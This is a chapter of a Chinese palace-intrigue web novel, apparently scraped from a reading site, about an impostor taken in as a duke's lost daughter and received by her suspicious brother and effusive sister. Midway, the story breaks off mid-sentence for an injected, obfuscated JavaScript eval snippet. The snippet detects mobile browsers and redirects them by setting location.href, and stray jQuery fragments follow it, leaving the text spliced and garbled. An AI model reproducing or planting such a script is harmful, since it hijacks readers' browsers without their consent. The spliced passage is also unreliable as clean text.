4. 第 4 章

作品:《妖妃她恃美行凶

    韦上爱,长安府京兆人氏,生于天寿八年二月初五,申国公韦苏次女,在府中长至六岁时不慎走失,至今下落未明。


    在申国公夫妇失去小女的那一年,韦苏原本发展得如日中天的仕途也开始日渐衰落,丢官且不再准入宦海半步,元气大伤至今。


    如今整个申国公府只有世子韦从俭一人在左神武军为中侯,韦家境地不复当年随太祖开创盛世的辉煌。


    当年时局一夜间天翻地覆,发生了什么只有今上与韦苏得知,其余众人所探听到的不过一轴圣旨上的冰冷言辞,与韦苏脱帽后步行回申国公府的萧瑟景象。


    春雨连天,水滴下来构成斜斜帘幕,尊胜拢着袖子站在廊庑边向西南角看去,几株槐杨树下挖了个死水潭,四周围着卵石花草,唯有根处压着一角有小腿高的石头。


    尊胜从进府到今天,一直有些恍惚。琢磨着这几天打听来的消息,申国公府的上爱娘子,竟然与她同年同月同日生,不过她生在清早,而自己生在子时,同年生,同年走失,连各自的阿耶也同年犯事。


    杜伯言丢了性命,韦苏丢了前程,天底下还真有这样的巧事?


    眯着眼睛往那边遥遥看去:“你说,那石头下面还有□□吗?”声音透着几分惆怅,也许想到当年阿耶捉着她的手,父女两人一道出门一道归家,自己如今却顶着别人家孩子的名头又进来了。


    后面侍奉的女侍八宝,长着张讨喜的圆脸,连眼睛也滴溜溜圆,她是这府里的家生子,阿耶是先申国公提拔上来的,如今在外面替府里办事。


    她刚到了年龄被点进来侍奉这位还家娘子,眼里有股好奇与探寻,她期望自己在内宅也能做出份事业,于是凑上前去看着尊胜表情说到:“娘子怎么问起这个,癞蛤蟆多吓人,哪儿能凑到金尊玉贵的娘子面前。”


    尊胜长得很体面,说直白点就是气派,一看就是出身不凡的面相,不像人想象中流落在外的模样。


    许是年龄还不大吧,眼角眉梢带着几分脆弱易碎的天真美好,唇角牵动和人说话的时候甚至会有种是她纡尊降贵的意味,像上贡的美人斛,里面斜斜插着一只有风骨的红梅。这样的人很难把她和□□联系在一起。


    尊胜说话总是不紧不慢的,这会儿倒是快人快语。


    她说你不知道,“□□可呆,揭了石头也不动弹,找个树枝往它身上一戳,一准蹦跶,腿伸得老长。”可能是觉得说这个很不应景,于是想了想:“算了,寻常女郎哪有爱玩□□的...我之前倒是受人所托暂养着一只小白狸,回府匆忙,除了要紧行李被送回来,别的一概不在身边,不知嘉月馆的人会不会把它扔出去…”


    说着渐住了嘴,转移话题问道:“你叫什么名字”


    八宝看她平静的脸上一瞬迸发出令人不解的活力,虽然马上收回了,但不影响她揣摩上意,于是脸上笑容更加殷切,一边缚起袖子,一边冒雨绕过廊柱踩进泥地里:“回娘子的话,我叫八宝,就是青龙寺法师讲经时提起来的八吉祥。娘子喜欢看□□么?我去给娘子捉几只!”


    又轻松说道:“娘子不在多年是夫人的心病,失而复得太惊喜,所以暂令娘子静养,兴许等段日子就能出门了,若是娘子着急,我有个在府外行走的阿兄,可以托他去打听白狸的下落。”


    尊胜点点头,看着八宝利落的动作,内心升起几分期待雀跃,按说长大的人了不该和小孩一样,但是她就爱看就爱玩这些东西,有种无忧无虑的自在野趣,也很容易回想到和同皎一道玩的岁月。


    突然拐角处闪过一个黑影,高壮的身板直接挡住了尊胜追随八宝的视线,抬头一看,这位名义上的阿兄,韦从俭,脸黑得像锅底,说话间好像连嘴皮子都懒得动:“回府了就要有闺阁娘子的做派,支使女侍捉癞蛤蟆玩是女郎该做的事吗?”


    当时韦从俭提着衣领把她揪出来的场景实在让人难忘,毕竟十五岁的女郎了,尊胜也是要面子的,其实她不大理解韦从俭为什么老是一副谁都欠他几贯钱的模样,人多笑笑日子才好过嘛。


    心中虽怯,但输人不输阵,于是福身行了个礼,落落大方道:“阿兄说的是。”又朝站在雨地里不知所措的八宝摇摇手:“八宝回来吧。”


    韦从俭重重哼了一声,也不理睬她,明明廊道很宽阔,但他非挤着尊胜的肩膀过去,像是意有所指的说:“以后少来这边,别又做了不该做的事。”


    尊胜被他撞得趔趄不稳,脚底下打滑,险些摔倒。裴从俭又突然转身扶了一把,其力道之重活像要把尊胜按进墙里,他自己倒像沾了脏水一样,在腰间带子上捏了两下,挺着身子走了。


    八宝站在一边忙把手臂递过去让尊胜按着借力:“娘子不用担心,咱们世子就是这样的脾气,连主君都不讨不到几分和悦,娘子不用放在心上。”


    尊胜说没事,其实与她而言确实不算事,多大的难堪都受过,这点算什么,况且这府里只有他一人授官,要成心为难她简直易如反掌,和他作对纯属没必要,这样的世家子弟性子顺着他,时间一久也就懒得搭理她了。


    说着两个人沿着逶迤长廊回韦夫人拨给尊胜住的梧桐苑去,申国公府邸是刚开国时太祖御赐给韦家先祖的宅院,既开阔,又占了好地头,骑马到皇城也就一两刻钟的事。


    拨给尊胜的住处是韦上爱自幼的住处,在府中西北角,从大池塘这儿走过去得一阵。


    伞檐低垂,迷蒙天地里能瞧见院门口栽的几株老梧桐树,枝叶在风里飘摇,爷娘爱子的滋味在细微处体现的淋漓尽致,凤栖梧桐嘛,多好的意图,上爱娘子走失之前必然也是申国公夫妇的掌中明珠,不知现在又沦落何处。


    韦上爱的下落,是在这件冒名顶替的荒唐事里,最让尊胜忧心的是,坦然享受了韦娘子的待遇,让她难安。


    有了她杜尊胜,那真的韦上爱可不就没机会回来了。


    “娘子瞧,夫人和大娘子过来了。”八宝出声提醒。


    梧桐树下除了申国公夫人,还玉立着一个窈窕女郎,尊胜眼中闪过一抹惊艳之色。


    女郎头梳高耸义髻,眉心点着嫣红花钿,身穿红衫绿抹,膀上搭着件透出丝丝金缕的郁金色披帛。


    在女侍的指引下,那头纸伞轻抬,露出一只涂抹着鲜艳红色的唇,嘴角堆叠着盈盈笑意,女郎凑上前来热切地挽住尊胜的手臂:“妹妹终于回来了,叫我和阿娘好等。可还记得我么?我是你大姐姐。”


    申国公夫人看着她们俩和睦的样子十分赞许,一手牵着一个进了屋里。


    “这是你阿姐,上月。”申国公夫人介绍到。纵然申国公不乏侧室,但府里的三个孩子均由申国公夫人所出,方才那位女郎就是韦从俭的大妹妹。


    其实尊胜进府后见过她一次,那会儿夫人把她拉到厅堂给家里人挨个认识,当时韦上月的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152323|164881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    态度就十分热情。


    “你离家时太小,一定不记得她了,幼时你们感情很好,大姐姐带你摘花扑蝶,做香药包,可怜见你流落多年,如今却还能出落得这般体人意,叫我如何不心酸...”说着申国公夫人声泪俱下“好孩子,咱们家苦了你...”


    “阿娘!上爱已经回来了,何必还说这些!这不是要勾起她的伤心事么。”韦上月嗔怪。


    一面又拉起尊胜的手细细端详:“妹妹人出落得美丽大方,只是手却有些粗糙,不太相配。阿姐房里有尚药局专程为宫妃调制的柔肤膏子,一会儿遣人给妹妹送来。妹妹放心,既然已经回府,往日沦落风尘种种不便追究,回来了就是申国公府的女郎。妹妹也千万不要觉得自己低人一等,府里人都调教过,绝不会出去乱说。”


    虽然会向往好日子,但尊胜其实并不以曾经待过嘉月馆为耻,嘉月馆的饭养大了她,待过就是待过,否认也不能改变事实,再者她凭自己的双手领工钱也并不觉得耻辱。


    豪门大户最在乎名声,对这种事讳莫如深,纵使沦落风尘似乎听起来与扫洒丫头不太相称,但尊胜一向不在乎虚名,不能吃不能用,于是也没有反驳,任由韦上月继续说。


    “从今往后妹妹就属于申国公府,是正经人家的女郎。来!”她扬双手相击,几个女侍捧着托盘依次向前。


    “贺妹妹,逃离苦海,重获新生!”韦上月从胡床上起身,亲手将托盘上掩着的纱绸翻开,得意道:“往后总有种种交际,出去了便代表的是申国公府的脸面,女郎么总要有几件压箱底的好东西,到隆重场合戴出去,别人才不至于看轻你,这是阿娘与我为妹妹准备的贺礼!”


    尊胜分别向韦夫人和韦上月道谢,面上虽然恭敬说:“上爱谢阿娘阿姐垂爱眷顾,家人这般对我,便是受再多的委屈和苦累也都值得,往后我一定谨慎行事。”


    但心中不由纳闷,长安权贵多如牛毛,人外有人,天外有天,谁也不能在这里托大。


    从望江楼上扔下块砖,砸到的人里,十有八九都是显贵,什么国公郡王,什么尚书侍郎。贵族圈子自成一派,谁家登枝,谁家落水,个个心里跟明镜一样,难不成会因为几件首饰高看或轻看别人吗。


    公主就是蓬头垢面也没人敢欺凌,平头百姓就是穿金戴玉,这些王公贵族也不会上前巴结。


    这种道理她一个打杂丫头都知道,韦上月这个高门女郎难道不清楚吗?


    韦上月兀自从匣中取出一支步摇插进她发间,眨着眼睛诚恳道:“这步摇是我八岁那年,寿阳公主送我的生辰礼,由匠作司亲制,天下间只有这么一支,寻常人难以得见,如今便送与妹妹了。”


    韦夫人轻咳一声,示意韦上月坐于另一边,她亲昵地将尊胜拉到身前:“我儿娇美,这颜色世间罕有,配得上天下最尊贵的儿郎,女郎青春年华不可荒废,往后要好好装扮起来,多跟着我和你阿姐出去走走。”


    没等尊胜说话,韦上月立即接道:“日子再苦也过去了,往后有爷娘,有阿兄阿姐护着,还有什么可说?不过阿娘说的事妹妹要放在心上,天渐暖,交际也渐多了起来,往常各家总爱办些宴会邀请长安各高门一同热闹,譬如半旬后王尚书家里要办的马球会,将是你第一次露面,咱们不上场打,但也要打起精神应对,不能马虎,阿娘为你请来曾在宫中教习礼仪的孙娘子,你可要好好跟着她学习。”